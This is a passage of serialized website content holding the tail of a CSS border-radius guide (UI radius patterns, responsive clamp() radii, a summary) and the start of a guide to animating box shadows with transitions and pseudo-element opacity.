40%;\n}\n",[143,18273,18274,18281,18293,18306,18352],{"__ignoreMap":141},[1560,18275,18276,18279],{"class":1562,"line":1563},[1560,18277,18278],{"class":1566},".egg",[1560,18280,1571],{"class":1570},[1560,18282,18283,18285,18287,18289,18291],{"class":1562,"line":337},[1560,18284,12386],{"class":1576},[1560,18286,1663],{"class":1570},[1560,18288,18034],{"class":1576},[1560,18290,1670],{"class":1669},[1560,18292,2228],{"class":1570},[1560,18294,18295,18297,18299,18302,18304],{"class":1562,"line":343},[1560,18296,12400],{"class":1576},[1560,18298,1663],{"class":1570},[1560,18300,18301],{"class":1576},"160",[1560,18303,1670],{"class":1669},[1560,18305,2228],{"class":1570},[1560,18307,18308,18310,18312,18314,18316,18319,18321,18323,18325,18327,18329,18331,18334,18336,18339,18341,18344,18346,18348,18350],{"class":1562,"line":365},[1560,18309,17294],{"class":1576},[1560,18311,1663],{"class":1570},[1560,18313,18059],{"class":1576},[1560,18315,17990],{"class":1669},[1560,18317,18318],{"class":1576}," 50",[1560,18320,17990],{"class":1669},[1560,18322,18318],{"class":1576},[1560,18324,17990],{"class":1669},[1560,18326,18318],{"class":1576},[1560,18328,17990],{"class":1669},[1560,18330,14237],{"class":1570},[1560,18332,18333],{"class":1576},"60",[1560,18335,17990],{"class":1669},[1560,18337,18338],{"class":1576}," 60",[1560,18340,17990],{"class":1669},[1560,18342,18343],{"class":1576}," 40",[1560,18345,17990],{"class":1669},[1560,18347,18343],{"class":1576},[1560,18349,17990],{"class":1669},[1560,18351,2228],{"class":1570},[1560,18353,18354],{"class":1562,"line":889},[1560,18355,1585],{"class":1570},[16,18357,421,18358,18360],{},[143,18359,9423],{}," splits horizontal from vertical. Taller vertical radii on top give the egg its wider upper curve.",[11,18362,18364],{"id":18363},"common-ui-patterns","Common UI Patterns",[16,18366,18367],{},"Rounded corners communicate hierarchy. Larger radii suggest approachability and softness; sharper corners suggest precision and formality.",[193,18369,18370,18382],{},[196,18371,18372],{},[199,18373,18374,18377,18380],{},[202,18375,18376],{},"Pattern",[202,18378,18379],{},"Radius",[202,18381,2973],{},[211,18383,18384,18396,18409,18421,18434,18447,18460],{},[199,18385,18386,18389,18393],{},[216,18387,18388],{},"Avatars",[216,18390,18391],{},[143,18392,18012],{},[216,18394,18395],{},"Circular user images",[199,18397,18398,18401,18406],{},[216,18399,18400],{},"Buttons",[216,18402,18403],{},[143,18404,18405],{},"6px – 8px",[216,18407,18408],{},"Standard interactive elements",[199,18410,18411,18414,18418],{},[216,18412,18413],{},"Pill buttons",[216,18415,18416],{},[143,18417,16808],{},[216,18419,18420],{},"Tags, filters, category chips",[199,18422,18423,18426,18431],{},[216,18424,18425],{},"Cards",[216,18427,18428],{},[143,18429,18430],{},"8px – 16px",[216,18432,18433],{},"Content containers",[199,18435,18436,18439,18444],{},[216,18437,18438],{},"Modals",[216,18440,18441],{},[143,18442,18443],{},"12px – 16px",[216,18445,18446],{},"Overlayed panels",[199,18448,18449,18452,18457],{},[216,18450,18451],{},"Input fields",[216,18453,18454],{},[143,18455,18456],{},"4px – 6px",[216,18458,18459],{},"Form elements",[199,18461,18462,18465,18469],{},[216,18463,18464],{},"Tooltips",[216,18466,18467],{},[143,18468,16757],{},[216,18470,18471],{},"Small, contextual popups",[16,18473,18474],{},"Consistency matters more than the exact number. Pick a scale and apply it uniformly across your component library.",[11,18476,18478],{"id":18477},"responsive-considerations","Responsive Considerations",[16,18480,18481,18482,8037],{},"Fixed pixel values stay the same across breakpoints. If you want corner sizes to adapt, use ",[143,18483,18484],{},"clamp()",[135,18486,18488],{"className":1554,"code":18487,"language":1556,"meta":141,"style":141},".card {\n  border-radius: clamp(8px, 1.5vw, 16px);\n}\n",[143,18489,18490,18496,18527],{"__ignoreMap":141},[1560,18491,18492,18494],{"class":1562,"line":1563},[1560,18493,1567],{"class":1566},[1560,18495,1571],{"class":1570},[1560,18497,18498,18500,18502,18505,18507,18509,18511,18513,18516,18519,18521,18523,18525],{"class":1562,"line":337},[1560,18499,17294],{"class":1576},[1560,18501,1663],{"class":1570},[1560,18503,18504],{"class":1576},"clamp",[1560,18506,1688],{"class":1570},[1560,18508,10078],{"class":1576},[1560,18510,1670],{"class":1669},[1560,18512,1459],{"class":1570},[1560,18514,18515],{"class":1576},"1.5",[1560,18517,18518],{"class":1669},"vw",[1560,18520,1459],{"class":1570},[1560,18522,10057],{"class":1576},[1560,18524,1670],{"class":1669},[1560,18526,1744],{"class":1570},[1560,18528,18529],{"class":1562,"line":343},[1560,18530,1585],{"class":1570},[16,18532,18533],{},"This scales the radius between 8px and 16px based on viewport width. It keeps small screens subtle and large screens expressive without breakpoint-specific overrides.",[11,18535,18537],{"id":18536},"dark-mode-notes","Dark Mode Notes",[16,18539,18540],{},"Rounded corners behave identically in light and dark modes, but the visual weight shifts. On dark backgrounds, high-radius shapes (circles, pills) draw more attention because the contrast between the shape and its background tends to be higher. Consider reducing radii slightly in dark mode if your UI feels too \"floaty.\"",[11,18542,1355],{"id":1354},[41,18544,18545,18548,18554,18559,18564,18567,18570],{},[44,18546,18547],{},"The shorthand follows clockwise order: top-left, top-right, bottom-right, bottom-left",[44,18549,18550,18551,18553],{},"Use the ",[143,18552,9423],{}," syntax to set different horizontal and vertical radii for elliptical corners",[44,18555,18556,18558],{},[143,18557,18012],{}," on a square element creates a circle; on a rectangle, an ellipse",[44,18560,18561,18563],{},[143,18562,16808],{}," is the standard trick for pill shapes that adapt to any size",[44,18565,18566],{},"Percentages compute against element dimensions, not parent dimensions",[44,18568,18569],{},"Pick a radius scale for your design system and apply it consistently",[44,18571,18572,18574],{},[143,18573,18484],{}," lets you create responsive radii without media queries",[11,18576,286],{"id":285},[16,18578,18579,18580,18584,18585,468],{},"Experiment with border-radius values interactively using our ",[98,18581,18583],{"href":18582},"\u002Ftools\u002Fcss-gradient","CSS Gradient Generator"," — combine rounded shapes with gradient backgrounds to prototype complete components. For precise color work on your shapes, try the ",[98,18586,18588],{"href":18587},"\u002Ftools\u002Fcolor-converter","Color Converter",[11,18590,321],{"id":320},[41,18592,18593,18600],{},[44,18594,18595,18599],{},[98,18596,18598],{"href":18597},"\u002Fguides\u002Fcss-rounded-corners-tutorial","CSS Rounded Corners Tutorial"," — Step-by-step walkthrough from basic rounding to complex multi-radius shapes",[44,18601,18602,18606],{},[98,18603,18605],{"href":18604},"\u002Fguides\u002Fcss-shapes-and-borders","CSS Shapes and Borders"," — Creative techniques combining border-radius with transforms and clip-path",[2043,18608,18609],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}",{"title":141,"searchDepth":337,"depth":337,"links":18611},[18612,18613,18616,18617,18618,18619,18626,18627,18628,18629,18630,18631],{"id":17698,"depth":337,"text":17699},{"id":17714,"depth":337,"text":17715,"children":18614},[18615],{"id":17788,"depth":343,"text":17789},{"id":17837,"depth":337,"text":17838},{"id":17898,"depth":337,"text":17899},{"id":17944,"depth":337,"text":17945},{"id":18002,"depth":337,"text":18003,"children":18620},[18621,18622,18623,18624,18625],{"id":12295,"depth":343,"text":18006},{"id":18073,"depth":343,"text":18074},{"id":18137,"depth":343,"text":18138},{"id":18210,"depth":343,"text":18211},{"id":18264,"depth":343,"text":18265},{"id":18363,"depth":337,"text":18364},{"id":18477,"depth":337,"text":18478},{"id":18536,"depth":337,"text":18537},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Complete guide to CSS border-radius syntax, individual corner control, and percentage-based shapes. Create perfect rounds and complex curves.",{"immutable":363,"keywords":18634},[16947,18635],"border-radius-guide",{"title":17693,"description":18632},"guides\u002Fborder-radius-guide","h59S7KTrLOqNmvYsDgi8WclDmAqTtUbTWPe8fvOFJEw",{"id":18640,"title":18641,"body":18642,"date":2070,"description":20320,"extension":361,"meta":20321,"navigation":363,"path":20325,"readingTime":1710,"seo":20326,"stem":20327,"__hash__":20328},"guides\u002Fguides\u002Fbox-shadow-animation-techniques.md","Box Shadow Animation Techniques: Smooth Elevation and Hover Effects",{"type":8,"value":18643,"toc":20302},[18644,18648,18651,18657,18661,18664,18789,18792,18796,18833,18836,18840,18847,19147,19153,19157,19160,19511,19515,19520,19524,19530,19793,19796,19804,19810,19937,19941,19947,20103,20106,20110,20113,20240,20242,20271,20273,20281,20283,20299],[11,18645,18647],{"id":18646},"why-animate-box-shadows","Why Animate Box Shadows?",[16,18649,18650],{},"Subtle shadow animations communicate interactivity without words. A button that lifts on hover, a card that gains depth on focus, or a dropdown that slides into view — these micro-interactions make interfaces feel responsive and polished.",[16,18652,18653,18654,18656],{},"But animating ",[143,18655,1880],{}," the wrong way causes jank. This guide covers both the visual techniques and the performance patterns that keep animations smooth.",[11,18658,18660],{"id":18659},"the-basic-transition","The Basic Transition",[16,18662,18663],{},"The simplest approach: transition between two box-shadow states.",[135,18665,18667],{"className":1554,"code":18666,"language":1556,"meta":141,"style":141},".card {\n  box-shadow: 0 2px 4px rgba(0, 0, 0, 0.08);\n  transition: box-shadow 0.3s ease;\n}\n\n.card:hover {\n  box-shadow: 0 8px 24px rgba(0, 0, 0, 0.12);\n}\n",[143,18668,18669,18675,18714,18733,18737,18741,18748,18785],{"__ignoreMap":141},[1560,18670,18671,18673],{"class":1562,"line":1563},[1560,18672,1567],{"class":1566},[1560,18674,1571],{"class":1570},[1560,18676,18677,18680,18682,18684,18686,18688,18690,18692,18695,18697,18699,18701,18703,18705,18707,18709,18712],{"class":1562,"line":337},[1560,18678,18679],{"class":1576},"  box-shadow",[1560,18681,1663],{"class":1570},[1560,18683,5285],{"class":1576},[1560,18685,9426],{"class":1576},[1560,18687,1670],{"class":1669},[1560,18689,13574],{"class":1576},[1560,18691,1670],{"class":1669},[1560,18693,18694],{"class":1576}," rgba",[1560,18696,1688],{"class":1570},[1560,18698,5285],{"class":1576},[1560,18700,1459],{"class":1570},[1560,18702,5285],{"class":1576},[1560,18704,1459],{"class":1570},[1560,18706,5285],{"class":1576},[1560,18708,1459],{"class":1570},[1560,18710,18711],{"class":1576},"0.08",[1560,18713,1744],{"class":1570},[1560,18715,18716,18719,18722,18725,18728,18731],{"class":1562,"line":343},[1560,18717,18718],{"class":1576},"  transition",[1560,18720,18721],{"class":1570},": box-shadow ",[1560,18723,18724],{"class":1576},"0.3",[1560,18726,18727],{"class":1669},"s",[1560,18729,18730],{"class":1576}," ease",[1560,18732,2228],{"class":1570},[1560,18734,18735],{"class":1562,"line":365},[1560,18736,1585],{"class":1570},[1560,18738,18739],{"class":1562,"line":889},[1560,18740,1702],{"emptyLinePlaceholder":363},[1560,18742,18743,18746],{"class":1562,"line":1710},[1560,18744,18745],{"class":1566},".card:hover",[1560,18747,1571],{"class":1570},[1560,18749,18750,18752,18754,18756,18758,18760,18762,18764,18766,18768,18770,18772,18774,18776,18778,18780,18783],{"class":1562,"line":1717},[1560,18751,18679],{"class":1576},[1560,18753,1663],{"class":1570},[1560,18755,5285],{"class":1576},[1560,18757,13490],{"class":1576},[1560,18759,1670],{"class":1669},[1560,18761,18193],{"class":1576},[1560,18763,1670],{"class":1669},[1560,18765,18694],{"class":1576},[1560,18767,1688],{"class":1570},[1560,18769,5285],{"class":1576},[1560,18771,1459],{"class":1570},[1560,18773,5285],{"class":1576},[1560,18775,1459],{"class":1570},[1560,18777,5285],{"class":1576},[1560,18779,1459],{"class":1570},[1560,18781,18782],{"class":1576},"0.12",[1560,18784,1744],{"class":1570},[1560,18786,18787],{"class":1562,"line":1747},[1560,18788,1585],{"class":1570},[16,18790,18791],{},"This works well for simple two-state animations. The browser interpolates each shadow value (offset, blur, spread, color) independently.",[33,18793,18795],{"id":18794},"transition-timing","Transition Timing",[193,18797,18798,18807],{},[196,18799,18800],{},[199,18801,18802,18805],{},[202,18803,18804],{},"Duration",[202,18806,1775],{},[211,18808,18809,18817,18825],{},[199,18810,18811,18814],{},[216,18812,18813],{},"100–200ms",[216,18815,18816],{},"Small interactive elements (buttons, toggles)",[199,18818,18819,18822],{},[216,18820,18821],{},"200–300ms",[216,18823,18824],{},"Cards, list items",[199,18826,18827,18830],{},[216,18828,18829],{},"300–500ms",[216,18831,18832],{},"Modals, panels",[16,18834,18835],{},"Faster than 100ms feels instant (no animation perceived). Slower than 500ms feels laggy.",[11,18837,18839],{"id":18838},"elevation-on-hover","Elevation on Hover",[16,18841,18842,18843,18846],{},"Simulating an element lifting off the page is one of the most common shadow animations. Combine a shadow change with a slight ",[143,18844,18845],{},"translateY"," shift for the most convincing effect:",[135,18848,18850],{"className":1554,"code":18849,"language":1556,"meta":141,"style":141},".button {\n  box-shadow: 0 1px 2px rgba(0, 0, 0, 0.08), 0 2px 4px rgba(0, 0, 0, 0.06);\n  transform: translateY(0);\n  transition: box-shadow 0.2s ease, transform 0.2s ease;\n}\n\n.button:hover {\n  box-shadow: 0 4px 8px rgba(0, 0, 0, 0.10), 0 8px 16px rgba(0, 0, 0, 0.08);\n  transform: translateY(-1px);\n}\n\n.button:active {\n  box-shadow: 0 1px 2px rgba(0, 0, 0, 0.08);\n  transform: translateY(0);\n  transition-duration: 0.05s;\n}\n",[143,18851,18852,18858,18927,18941,18965,18969,18973,18979,19047,19064,19068,19072,19079,19115,19129,19143],{"__ignoreMap":141},[1560,18853,18854,18856],{"class":1562,"line":1563},[1560,18855,5741],{"class":1566},[1560,18857,1571],{"class":1570},[1560,18859,18860,18862,18864,18866,18869,18871,18873,18875,18877,18879,18881,18883,18885,18887,18889,18891,18893,18896,18898,18900,18902,18904,18906,18908,18910,18912,18914,18916,18918,18920,18922,18925],{"class":1562,"line":337},[1560,18861,18679],{"class":1576},[1560,18863,1663],{"class":1570},[1560,18865,5285],{"class":1576},[1560,18867,18868],{"class":1576}," 1",[1560,18870,1670],{"class":1669},[1560,18872,9426],{"class":1576},[1560,18874,1670],{"class":1669},[1560,18876,18694],{"class":1576},[1560,18878,1688],{"class":1570},[1560,18880,5285],{"class":1576},[1560,18882,1459],{"class":1570},[1560,18884,5285],{"class":1576},[1560,18886,1459],{"class":1570},[1560,18888,5285],{"class":1576},[1560,18890,1459],{"class":1570},[1560,18892,18711],{"class":1576},[1560,18894,18895],{"class":1570},"), ",[1560,18897,5285],{"class":1576},[1560,18899,9426],{"class":1576},[1560,18901,1670],{"class":1669},[1560,18903,13574],{"class":1576},[1560,18905,1670],{"class":1669},[1560,18907,18694],{"class":1576},[1560,18909,1688],{"class":1570},[1560,18911,5285],{"class":1576},[1560,18913,1459],{"class":1570},[1560,18915,5285],{"class":1576},[1560,18917,1459],{"class":1570},[1560,18919,5285],{"class":1576},[1560,18921,1459],{"class":1570},[1560,18923,18924],{"class":1576},"0.06",[1560,18926,1744],{"class":1570},[1560,18928,18929,18931,18933,18935,18937,18939],{"class":1562,"line":343},[1560,18930,1720],{"class":1576},[1560,18932,1663],{"class":1570},[1560,18934,18845],{"class":1576},[1560,18936,1688],{"class":1570},[1560,18938,5285],{"class":1576},[1560,18940,1744],{"class":1570},[1560,18942,18943,18945,18947,18950,18952,18954,18957,18959,18961,18963],{"class":1562,"line":365},[1560,18944,18718],{"class":1576},[1560,18946,18721],{"class":1570},[1560,18948,18949],{"class":1576},"0.2",[1560,18951,18727],{"class":1669},[1560,18953,18730],{"class":1576},[1560,18955,18956],{"class":1570},", transform ",[1560,18958,18949],{"class":1576},[1560,18960,18727],{"class":1669},[1560,18962,18730],{"class":1576},[1560,18964,2228],{"class":1570},[1560,18966,18967],{"class":1562,"line":889},[1560,18968,1585],{"class":1570},[1560,18970,18971],{"class":1562,"line":1710},[1560,18972,1702],{"emptyLinePlaceholder":363},[1560,18974,18975,18977],{"class":1562,"line":1717},[1560,18976,5771],{"class":1566},[1560,18978,1571],{"class":1570},[1560,18980,18981,18983,18985,18987,18989,18991,18993,18995,18997,18999,19001,19003,19005,19007,19009,19011,19014,19016,19018,19020,19022,19025,19027,19029,19031,19033,19035,19037,19039,19041,19043,19045],{"class":1562,"line":1747},[1560,18982,18679],{"class":1576},[1560,18984,1663],{"class":1570},[1560,18986,5285],{"class":1576},[1560,18988,13574],{"class":1576},[1560,18990,1670],{"class":1669},[1560,18992,13490],{"class":1576},[1560,18994,1670],{"class":1669},[1560,18996,18694],{"class":1576},[1560,18998,1688],{"class":1570},[1560,19000,5285],{"class":1576},[1560,19002,1459],{"class":1570},[1560,19004,5285],{"class":1576},[1560,19006,1459],{"class":1570},[1560,19008,5285],{"class":1576},[1560,19010,1459],{"class":1570},[1560,19012,19013],{"class":1576},"0.10",[1560,19015,18895],{"class":1570},[1560,19017,5285],{"class":1576},[1560,19019,13490],{"class":1576},[1560,19021,1670],{"class":1669},[1560,19023,19024],{"class":1576}," 16",[1560,19026,1670],{"class":1669},[1560,19028,18694],{"class":1576},[1560,19030,1688],{"class":1570},[1560,19032,5285],{"class":1576},[1560,19034,1459],{"class":1570},[1560,19036,5285],{"class":1576},[1560,19038,1459],{"class":1570},[1560,19040,5285],{"class":1576},[1560,19042,1459],{"class":1570},[1560,19044,18711],{"class":1576},[1560,19046,1744],{"class":1570},[1560,19048,19049,19051,19053,19055,19057,19060,19062],{"class":1562,"line":2507},[1560,19050,1720],{"class":1576},[1560,19052,1663],{"class":1570},[1560,19054,18845],{"class":1576},[1560,19056,1688],{"class":1570},[1560,19058,19059],{"class":1576},"-1",[1560,19061,1670],{"class":1669},[1560,19063,1744],{"class":1570},[1560,19065,19066],{"class":1562,"line":2524},[1560,19067,1585],{"class":1570},[1560,19069,19070],{"class":1562,"line":2529},[1560,19071,1702],{"emptyLinePlaceholder":363},[1560,19073,19074,19077],{"class":1562,"line":2534},[1560,19075,19076],{"class":1566},".button:active",[1560,19078,1571],{"class":1570},[1560,19080,19081,19083,19085,19087,19089,19091,19093,19095,19097,19099,19101,19103,19105,19107,19109,19111,19113],{"class":1562,"line":2542},[1560,19082,18679],{"class":1576},[1560,19084,1663],{"class":1570},[1560,19086,5285],{"class":1576},[1560,19088,18868],{"class":1576},[1560,19090,1670],{"class":1669},[1560,19092,9426],{"class":1576},[1560,19094,1670],{"class":1669},[1560,19096,18694],{"class":1576},[1560,19098,1688],{"class":1570},[1560,19100,5285],{"class":1576},[1560,19102,1459],{"class":1570},[1560,19104,5285],{"class":1576},[1560,19106,1459],{"class":1570},[1560,19108,5285],{"class":1576},[1560,19110,1459],{"class":1570},[1560,19112,18711],{"class":1576},[1560,19114,1744],{"class":1570},[1560,19116,19117,19119,19121,19123,19125,19127],{"class":1562,"line":2558},[1560,19118,1720],{"class":1576},[1560,19120,1663],{"class":1570},[1560,19122,18845],{"class":1576},[1560,19124,1688],{"class":1570},[1560,19126,5285],{"class":1576},[1560,19128,1744],{"class":1570},[1560,19130,19131,19134,19136,19139,19141],{"class":1562,"line":2570},[1560,19132,19133],{"class":1576},"  transition-duration",[1560,19135,1663],{"class":1570},[1560,19137,19138],{"class":1576},"0.05",[1560,19140,18727],{"class":1669},[1560,19142,2228],{"class":1570},[1560,19144,19145],{"class":1562,"line":6638},[1560,19146,1585],{"class":1570},[16,19148,421,19149,19152],{},[143,19150,19151],{},":active"," state reverses the elevation quickly, creating a \"press-down\" feel.",[11,19154,19156],{"id":19155},"animating-layered-shadows","Animating Layered Shadows",[16,19158,19159],{},"When transitioning between layered shadow states, keep the same number of layers in both states. The browser interpolates corresponding layers positionally.",[135,19161,19163],{"className":1554,"code":19162,"language":1556,"meta":141,"style":141},"\u002F* ✅ Same layer count — smooth interpolation *\u002F\n.card {\n  box-shadow:\n    0 1px 2px rgba(0, 0, 0, 0.05),\n    0 4px 8px rgba(0, 0, 0, 0.05);\n  transition: box-shadow 0.3s ease;\n}\n\n.card:hover {\n  box-shadow:\n    0 2px 4px rgba(0, 0, 0, 0.08),\n    0 12px 24px rgba(0, 0, 0, 0.10);\n}\n\n\u002F* ❌ Different layer count — first layer animates, second pops in *\u002F\n.bad-card {\n  box-shadow: 0 2px 4px rgba(0, 0, 0, 0.08);\n  transition: box-shadow 0.3s ease;\n}\n\n.bad-card:hover {\n  box-shadow:\n    0 2px 4px rgba(0, 0, 0, 0.08),\n    0 12px 24px rgba(0, 0, 0, 0.10);\n}\n",[143,19164,19165,19170,19176,19183,19217,19249,19263,19267,19271,19277,19283,19315,19348,19352,19356,19361,19368,19404,19418,19422,19426,19433,19440,19473,19506],{"__ignoreMap":141},[1560,19166,19167],{"class":1562,"line":1563},[1560,19168,19169],{"class":1649},"\u002F* ✅ Same layer count — smooth interpolation *\u002F\n",[1560,19171,19172,19174],{"class":1562,"line":337},[1560,19173,1567],{"class":1566},[1560,19175,1571],{"class":1570},[1560,19177,19178,19180],{"class":1562,"line":343},[1560,19179,18679],{"class":1576},[1560,19181,19182],{"class":1570},":\n",[1560,19184,19185,19188,19190,19192,19194,19196,19198,19200,19202,19204,19206,19208,19210,19212,19214],{"class":1562,"line":365},[1560,19186,19187],{"class":1576},"    0",[1560,19189,18868],{"class":1576},[1560,19191,1670],{"class":1669},[1560,19193,9426],{"class":1576},[1560,19195,1670],{"class":1669},[1560,19197,18694],{"class":1576},[1560,19199,1688],{"class":1570},[1560,19201,5285],{"class":1576},[1560,19203,1459],{"class":1570},[1560,19205,5285],{"class":1576},[1560,19207,1459],{"class":1570},[1560,19209,5285],{"class":1576},[1560,19211,1459],{"class":1570},[1560,19213,19138],{"class":1576},[1560,19215,19216],{"class":1570},"),\n",[1560,19218,19219,19221,19223,19225,19227,19229,19231,19233,19235,19237,19239,19241,19243,19245,19247],{"class":1562,"line":889},[1560,19220,19187],{"class":1576},[1560,19222,13574],{"class":1576},[1560,19224,1670],{"class":1669},[1560,19226,13490],{"class":1576},[1560,19228,1670],{"class":1669},[1560,19230,18694],{"class":1576},[1560,19232,1688],{"class":1570},[1560,19234,5285],{"class":1576},[1560,19236,1459],{"class":1570},[1560,19238,5285],{"class":1576},[1560,19240,1459],{"class":1570},[1560,19242,5285],{"class":1576},[1560,19244,1459],{"class":1570},[1560,19246,19138],{"class":1576},[1560,19248,1744],{"class":1570},[1560,19250,19251,19253,19255,19257,19259,19261],{"class":1562,"line":1710},[1560,19252,18718],{"class":1576},[1560,19254,18721],{"class":1570},[1560,19256,18724],{"class":1576},[1560,19258,18727],{"class":1669},[1560,19260,18730],{"class":1576},[1560,19262,2228],{"class":1570},[1560,19264,19265],{"class":1562,"line":1717},[1560,19266,1585],{"class":1570},[1560,19268,19269],{"class":1562,"line":1747},[1560,19270,1702],{"emptyLinePlaceholder":363},[1560,19272,19273,19275],{"class":1562,"line":2507},[1560,19274,18745],{"class":1566},[1560,19276,1571],{"class":1570},[1560,19278,19279,19281],{"class":1562,"line":2524},[1560,19280,18679],{"class":1576},[1560,19282,19182],{"class":1570},[1560,19284,19285,19287,19289,19291,19293,19295,19297,19299,19301,19303,19305,19307,19309,19311,19313],{"class":1562,"line":2529},[1560,19286,19187],{"class":1576},[1560,19288,9426],{"class":1576},[1560,19290,1670],{"class":1669},[1560,19292,13574],{"class":1576},[1560,19294,1670],{"class":1669},[1560,19296,18694],{"class":1576},[1560,19298,1688],{"class":1570},[1560,19300,5285],{"class":1576},[1560,19302,1459],{"class":1570},[1560,19304,5285],{"class":1576},[1560,19306,1459],{"class":1570},[1560,19308,5285],{"class":1576},[1560,19310,1459],{"class":1570},[1560,19312,18711],{"class":1576},[1560,19314,19216],{"class":1570},[1560,19316,19317,19319,19322,19324,19326,19328,19330,19332,19334,19336,19338,19340,19342,19344,19346],{"class":1562,"line":2534},[1560,19318,19187],{"class":1576},[1560,19320,19321],{"class":1576}," 12",[1560,19323,1670],{"class":1669},[1560,19325,18193],{"class":1576},[1560,19327,1670],{"class":1669},[1560,19329,18694],{"class":1576},[1560,19331,1688],{"class":1570},[1560,19333,5285],{"class":1576},[1560,19335,1459],{"class":1570},[1560,19337,5285],{"class":1576},[1560,19339,1459],{"class":1570},[1560,19341,5285],{"class":1576},[1560,19343,1459],{"class":1570},[1560,19345,19013],{"class":1576},[1560,19347,1744],{"class":1570},[1560,19349,19350],{"class":1562,"line":2542},[1560,19351,1585],{"class":1570},[1560,19353,19354],{"class":1562,"line":2558},[1560,19355,1702],{"emptyLinePlaceholder":363},[1560,19357,19358],{"class":1562,"line":2570},[1560,19359,19360],{"class":1649},"\u002F* ❌ Different layer count — first layer animates, second pops in *\u002F\n",[1560,19362,19363,19366],{"class":1562,"line":6638},[1560,19364,19365],{"class":1566},".bad-card",[1560,19367,1571],{"class":1570},[1560,19369,19370,19372,19374,19376,19378,19380,19382,19384,19386,19388,19390,19392,19394,19396,19398,19400,19402],{"class":1562,"line":11615},[1560,19371,18679],{"class":1576},[1560,19373,1663],{"class":1570},[1560,19375,5285],{"class":1576},[1560,19377,9426],{"class":1576},[1560,19379,1670],{"class":1669},[1560,19381,13574],{"class":1576},[1560,19383,1670],{"class":1669},[1560,19385,18694],{"class":1576},[1560,19387,1688],{"class":1570},[1560,19389,5285],{"class":1576},[1560,19391,1459],{"class":1570},[1560,19393,5285],{"class":1576},[1560,19395,1459],{"class":1570},[1560,19397,5285],{"class":1576},[1560,19399,1459],{"class":1570},[1560,19401,18711],{"class":1576},[1560,19403,1744],{"class":1570},[1560,19405,19406,19408,19410,19412,19414,19416],{"class":1562,"line":11621},[1560,19407,18718],{"class":1576},[1560,19409,18721],{"class":1570},[1560,19411,18724],{"class":1576},[1560,19413,18727],{"class":1669},[1560,19415,18730],{"class":1576},[1560,19417,2228],{"class":1570},[1560,19419,19420],{"class":1562,"line":11633},[1560,19421,1585],{"class":1570},[1560,19423,19424],{"class":1562,"line":11638},[1560,19425,1702],{"emptyLinePlaceholder":363},[1560,19427,19428,19431],{"class":1562,"line":11672},[1560,19429,19430],{"class":1566},".bad-card:hover",[1560,19432,1571],{"class":1570},[1560,19434,19436,19438],{"class":1562,"line":19435},22,[1560,19437,18679],{"class":1576},[1560,19439,19182],{"class":1570},[1560,19441,19443,19445,19447,19449,19451,19453,19455,19457,19459,19461,19463,19465,19467,19469,19471],{"class":1562,"line":19442},23,[1560,19444,19187],{"class":1576},[1560,19446,9426],{"class":1576},[1560,19448,1670],{"class":1669},[1560,19450,13574],{"class":1576},[1560,19452,1670],{"class":1669},[1560,19454,18694],{"class":1576},[1560,19456,1688],{"class":1570},[1560,19458,5285],{"class":1576},[1560,19460,1459],{"class":1570},[1560,19462,5285],{"class":1576},[1560,19464,1459],{"class":1570},[1560,19466,5285],{"class":1576},[1560,19468,1459],{"class":1570},[1560,19470,18711],{"class":1576},[1560,19472,19216],{"class":1570},[1560,19474,19476,19478,19480,19482,19484,19486,19488,19490,19492,19494,19496,19498,19500,19502,19504],{"class":1562,"line":19475},24,[1560,19477,19187],{"class":1576},[1560,19479,19321],{"class":1576},[1560,19481,1670],{"class":1669},[1560,19483,18193],{"class":1576},[1560,19485,1670],{"class":1669},[1560,19487,18694],{"class":1576},[1560,19489,1688],{"class":1570},[1560,19491,5285],{"class":1576},[1560,19493,1459],{"class":1570},[1560,19495,5285],{"class":1576},[1560,19497,1459],{"class":1570},[1560,19499,5285],{"class":1576},[1560,19501,1459],{"class":1570},[1560,19503,19013],{"class":1576},[1560,19505,1744],{"class":1570},[1560,19507,19509],{"class":1562,"line":19508},25,[1560,19510,1585],{"class":1570},[11,19512,19514],{"id":19513},"performance-the-repaint-problem","Performance: The Repaint Problem",[16,19516,19517,19519],{},[143,19518,1880],{}," animations trigger repaints because the shadow pixels must be recomputed each frame. On complex pages with many animated elements, this causes visible jank.",[33,19521,19523],{"id":19522},"solution-1-pseudo-element-opacity","Solution 1: Pseudo-Element Opacity",[16,19525,19526,19527,19529],{},"Use a pseudo-element with the hover shadow, and animate only ",[143,19528,1891],{}," — which the GPU composites without repaints.",[135,19531,19533],{"className":1554,"code":19532,"language":1556,"meta":141,"style":141},".card {\n  position: relative;\n  box-shadow: 0 2px 4px rgba(0, 0, 0, 0.08);\n  transition: transform 0.2s ease;\n}\n\n.card::after {\n  content: '';\n  position: absolute;\n  inset: 0;\n  border-radius: inherit;\n  box-shadow: 0 8px 24px rgba(0, 0, 0, 0.15);\n  opacity: 0;\n  transition: opacity 0.3s ease;\n  z-index: -1;\n}\n\n.card:hover {\n  transform: translateY(-2px);\n}\n\n.card:hover::after {\n  opacity: 